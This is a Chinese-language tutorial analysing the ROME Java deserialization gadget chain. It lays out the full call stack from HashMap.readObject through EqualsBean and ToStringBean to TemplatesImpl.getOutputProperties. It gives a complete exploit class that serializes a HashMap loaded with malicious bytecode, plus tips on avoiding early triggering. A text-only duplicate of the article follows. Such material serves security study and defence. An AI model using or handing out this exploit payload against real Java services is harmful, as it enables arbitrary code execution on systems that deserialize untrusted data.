ROME链试探
字数 1408 2025-08-24 07:48:22

ROME链反序列化漏洞分析与利用

1. ROME框架简介

ROME是一个用于处理RSS和Atom订阅的Java框架,具有以下特点:

  • 提供RSS和Atom订阅的解析器和生成器
  • 支持不同格式之间的转换
  • 开源项目,遵循Apache 2.0许可证
  • 包含关键类:ToStringBeanEqualsBeanObjectBean

2. 漏洞环境搭建

2.1 Maven依赖配置

<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

2.2 所需工具类

  • TemplatesImpl - 用于承载恶意字节码
  • TransformerFactoryImpl - 转换器工厂
  • ToStringBean - ROME框架中的关键类
  • EqualsBean - ROME框架中的关键类
  • HashMap - 触发反序列化的入口点

3. 漏洞利用链分析

3.1 完整调用链

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:31, Test2
main:52, Test2

3.2 关键步骤分析

  1. 入口点HashMapreadObject方法

    • HashMap在反序列化时会调用key对象的hashCode方法
  2. EqualsBean.hashCode()

    • 调用beanHashCode方法
  3. EqualsBean.beanHashCode()

    • 调用_obj对象的toString方法
  4. ToStringBean.toString()

    • 通过反射获取_beanClass的所有getter方法
    • 使用pReadMethod.invoke()调用getter方法
  5. 触发点TemplatesImpl.getOutputProperties()

    • 最终执行恶意字节码

4. 漏洞利用代码详解

4.1 完整EXP代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Test {
    // 设置字段值的工具方法
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Class clazz = object.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
    
    // 序列化方法
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ROME.bin"));
        oos.writeObject(obj);
    }
    
    // 反序列化方法
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    
    public static void main(String[] args) throws Exception {
        // 1. 准备TemplatesImpl恶意类
        byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\ROME\\target\\classes\\Exp.class"));
        TemplatesImpl templates = new TemplatesImpl();
        TemplatesImpl templates1 = new TemplatesImpl();
        
        setFieldValue(templates, "_name", "aaa");
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 2. 构造ToStringBean
        ToStringBean toStringBean = new ToStringBean(templates.getClass(), templates1);
        
        // 3. 构造EqualsBean
        EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
        
        // 4. 构造HashMap触发点
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "aaa");
        
        // 5. 关键修改:避免提前触发
        setFieldValue(toStringBean, "_beanClass", Templates.class);
        setFieldValue(toStringBean, "_obj", templates);
        
        // 6. 序列化和触发
        serialize(hashMap);
        unserialize("ROME.bin");
    }
}

4.2 关键点说明

  1. TemplatesImpl设置

    • _name:任意字符串
    • _bytecodes:恶意类的字节码
    • _tfactoryTransformerFactoryImpl实例
  2. ToStringBean构造

    • 初始构造时使用无害对象(templates1
    • 后续通过反射修改为恶意对象(templates
  3. 避免提前触发

    • 先构造HashMap并放入无害数据
    • 然后通过反射修改关键字段
  4. 关键修改技巧

    setFieldValue(toStringBean, "_beanClass", Templates.class);
    setFieldValue(toStringBean, "_obj", templates);
    
    • 使用Templates.class而非templates.getClass()
    • 这样只会遍历Templates接口的getter方法,确保只调用getOutputProperties

5. 漏洞利用注意事项

  1. 避免提前触发

    • hashMap.put时就会触发部分调用链
    • 需要先传入正常数据,再通过反射修改为恶意数据
  2. 类加载问题

    • 确保恶意类Exp.class已编译并可用
    • 字节码路径需要正确配置
  3. JDK版本兼容性

    • 不同JDK版本可能需要调整
    • 注意TemplatesImpl类的内部实现变化

6. 漏洞原理总结

ROME链利用了以下关键点:

  1. 入口点:HashMap反序列化时会调用key的hashCode方法
  2. EqualsBean:hashCode方法会调用toString方法
  3. ToStringBean:toString方法会反射调用getter方法
  4. 终点:TemplatesImpl的getOutputProperties方法可以加载恶意字节码

该漏洞链展示了Java反序列化漏洞的典型利用模式,通过一系列精心构造的对象和方法调用,最终达到执行任意代码的目的。

ROME链反序列化漏洞分析与利用 1. ROME框架简介 ROME是一个用于处理RSS和Atom订阅的Java框架,具有以下特点: 提供RSS和Atom订阅的解析器和生成器 支持不同格式之间的转换 开源项目,遵循Apache 2.0许可证 包含关键类: ToStringBean 、 EqualsBean 、 ObjectBean 2. 漏洞环境搭建 2.1 Maven依赖配置 2.2 所需工具类 TemplatesImpl - 用于承载恶意字节码 TransformerFactoryImpl - 转换器工厂 ToStringBean - ROME框架中的关键类 EqualsBean - ROME框架中的关键类 HashMap - 触发反序列化的入口点 3. 漏洞利用链分析 3.1 完整调用链 3.2 关键步骤分析 入口点 : HashMap 的 readObject 方法 HashMap在反序列化时会调用key对象的 hashCode 方法 EqualsBean.hashCode() 调用 beanHashCode 方法 EqualsBean.beanHashCode() 调用 _obj 对象的 toString 方法 ToStringBean.toString() 通过反射获取 _beanClass 的所有getter方法 使用 pReadMethod.invoke() 调用getter方法 触发点 : TemplatesImpl.getOutputProperties() 最终执行恶意字节码 4. 漏洞利用代码详解 4.1 完整EXP代码 4.2 关键点说明 TemplatesImpl设置 : _name :任意字符串 _bytecodes :恶意类的字节码 _tfactory : TransformerFactoryImpl 实例 ToStringBean构造 : 初始构造时使用无害对象( templates1 ) 后续通过反射修改为恶意对象( templates ) 避免提前触发 : 先构造HashMap并放入无害数据 然后通过反射修改关键字段 关键修改技巧 : 使用 Templates.class 而非 templates.getClass() 这样只会遍历 Templates 接口的getter方法,确保只调用 getOutputProperties 5. 漏洞利用注意事项 避免提前触发 : 在 hashMap.put 时就会触发部分调用链 需要先传入正常数据,再通过反射修改为恶意数据 类加载问题 : 确保恶意类 Exp.class 已编译并可用 字节码路径需要正确配置 JDK版本兼容性 : 不同JDK版本可能需要调整 注意 TemplatesImpl 类的内部实现变化 6. 漏洞原理总结 ROME链利用了以下关键点: 入口点 :HashMap反序列化时会调用key的hashCode方法 EqualsBean :hashCode方法会调用toString方法 ToStringBean :toString方法会反射调用getter方法 终点 :TemplatesImpl的getOutputProperties方法可以加载恶意字节码 该漏洞链展示了Java反序列化漏洞的典型利用模式,通过一系列精心构造的对象和方法调用,最终达到执行任意代码的目的。